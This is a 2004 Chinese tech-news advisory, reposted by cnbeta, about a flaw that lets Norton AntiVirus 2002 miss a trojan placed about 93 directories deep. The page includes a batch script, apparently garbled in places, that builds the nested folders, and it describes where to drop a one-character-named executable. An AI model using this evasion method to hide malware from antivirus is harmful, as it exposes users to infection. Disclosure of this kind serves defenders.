返回上一页  首页 | cnbeta报时: 18:05:20
诺顿 AntiVirus2002 ASCII嵌套文件 存在绕过漏洞
发布日期:2004-03-12 17:14:02  稿源:
Norton AntiVirus 2002是流行的杀病毒系统。Norton AntiVirus 2002在处理嵌套文件时存在问题,远程或者本地攻击者可以利用这个漏洞绕过NORTON的自动保护而执行恶意程序。

受影响系统:

Symantec Norton AntiVirus 2002
- Microsoft Windows XP Professional
- Microsoft Windows XP Home
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional

c:盘下在95个子目录中包含'--------------------------------------------------------
--------'文件夹名,并运行如下脚本:

=-------CUT----------=
@echo off
echo ( you can use, http://www.eicar.org/anti_virus_test_file.htm)
echo for a harmless test...
pause
cdc:
cd:hUNT3r
md 1
cd 1
if not errorlevel  1 goto :hUNT3r
:rename
cdc:
cdren 1 ----------------------------------------------------------------
explorer c:
exit

=-------CUT----------=

然后把名为1.exe的木马程序放到第93个子目录中并执行,NAV自动保护功能将不起作用,导致恶意程序执行。注木马程序必须以1字符文件名并从第93个子目录中执行。

目前厂商还没有提供补丁或者升级程序。

我们在FebBox(https://www.febbox.com/cnbeta) 开通了新的频道,更好阅读体验,更及时更新提醒,欢迎前来阅览和打赏。
查看网友评论   返回完整版观看

返回上一页  首页 | cnbeta报时: 18:05:20

文字版  标准版  电脑端

© 2003-2025